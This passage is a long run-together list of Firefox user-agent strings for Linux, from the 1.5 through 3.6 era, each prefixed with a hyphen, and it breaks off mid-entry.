-Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060806 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060812 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060813 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060820 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060831 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-4) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-0.1 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060802 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060803 Firefox/1.5.0.6 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060807 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060905 Fedora/1.5.0.6-10 Firefox/1.5.0.6 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 Red Hat/1.5.0.7-0.1.el4 Firefox/1.5.0.1 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061014 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060802 Mandriva/1.5.0.8-1.1mdv2007.0 (2007.0) Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061107 Fedora/1.5.0.8-1.fc6 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-0.2 Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-3.2 Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061215 Red Hat/1.5.0.9-0.1.el4 Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061221 Fedora/1.5.0.9-1.fc5 Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070102 Ubuntu/dapper-security Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070316 CentOS/1.5.0.9-10.el5.centos Firefox/1.5.0.9 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 (Debian-2.0.0.10-0etch1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071203 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071217 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20080201 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.12 (Debian-2.0.0.12-0etch1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mnenhy/0.7.5.666 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0b2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20061201 Firefox/2.0.0.13 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-0.1 Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-1.1 Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080325 Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080330 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 (Linux Mint) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20061201 Firefox/2.0.0.14 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.4 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc8 Firefox/2.0.0.14 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080423 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080428 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080508 Ubuntu/8.04 (hardy) Firefox/2.0.0.14 (Linux Mint) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080525 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20061201 Firefox/2.0.0.15 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 Firefox/3.07 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080722 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080703 Mandriva/2.0.0.17-1.1mdv2008.1 (2008.1) Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080827 Firefox/2.0.0.10 (Debian-2.0.0.17-0etch1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080921 SUSE/2.0.0.17-1.2 Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080922 Ubuntu/7.10 (gutsy) Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080924 Ubuntu/8.04 (hardy) Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20080921 SUSE/2.0.0.18-0.1 Firefox/2.0.0.18 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081202 Firefox (Debian-2.0.0.19-0etch1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081216 Fedora/2.0.0.19-1.fc8 Firefox/2.0.0.19 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081230 Firefox/2.0.0.19 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070110 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070224 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.20) Gecko/20081217 Firefox(2.0.0.20) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/8.04 (hardy) Firefox/2.0.0.22pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070221 SUSE/2.0.0.2-6.1 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070226 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070314 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070317 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.1 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3pre) Gecko/20070307 Firefox/2.0.0.3pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 (Kubuntu) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070530 Fedora/2.0.0.4-1.fc7 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070602 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4pre) Gecko/20070509 Firefox/2.0.0.4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070719 Firefox/2.0.0.5 (Debian-2.0.0.5-0etch1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070725 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070728 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070804 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070807 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070831 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070921 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070923 Firefox/2.0.0.7 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20061201 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071004 Firefox/2.0.0.8 (Debian-2.0.0.8-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071008 FreeBSD/i386 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071019 Fedora/2.0.0.8-1.fc7 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071201 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/1.5.0.9 (Debian-2.0.0.9-2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 FreeBSD/i386 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071105 Fedora/2.0.0.9-1.fc7 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; en_US; rv:1.8.1b1) Gecko/20060813 Firefox/2.0b1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061001 Firefox/2.0b (Swiftfox) -Mozilla/5.0 (X11;U;Linux i686;en-US;rv:1.8.1) Gecko/2006101022 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051008 Fedora/1.5-0.5.0.beta2 Firefox/1.4.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060111 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060118 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060119 Debian/1.5.dfsg-4ubuntu3 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060130 Ubuntu/1.5.dfsg-4ubuntu6 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060806 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/7 (Gloria) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042812 Gentoo Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060310 Linux Mint/6 (Felicia) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070610 Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070812 Linux Mint/5 (Elyssa) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090905 Fedora/3.0.14-1.fc10 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010 Firefox/3.0.14 (Debian-3.0.14-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/20090916 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.17) Gecko/2010010604 Ubuntu/9.04 (jaunty) Firefox/3.0.17 FirePHP/0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010072023 Firefox/3.0.6 (Debian-3.0.6-3) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010091807 Firefox/3.0.6 (Debian-3.0.6-3) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1pre) Gecko/2008062222 Firefox/3.0.1pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/1.4.0 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1.6 -Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092809 Gentoo Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008110715 ASPLinux/3.0.2-3.0.120asp Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008100320 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008090713 Firefox/3.0.3pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.10 (intrepid) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008101311 Firefox/3.0.4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121718 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121914 Ubuntu/8.04 (hardy) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2009011301 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020518 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020616 Gentoo Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022111 Gentoo Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022714 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Firefox/3.0.4 (Debian-3.0.6-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009041408 Red Hat/3.0.9-1.el5 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Linux Mint/6 (Felicia) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Firefox/11.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Slackware/13.0 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2pre) Gecko/20090729 Ubuntu/9.04 (jaunty) Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090912 Gentoo Firefox/3.5.3 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090919 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4) Gecko/20091028 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.6) Gecko/20100118 Gentoo Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100315 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3) Gecko/20090407 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10pre) Gecko/20100902 Ubuntu/9.10 (karmic) Firefox/3.6.1pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) 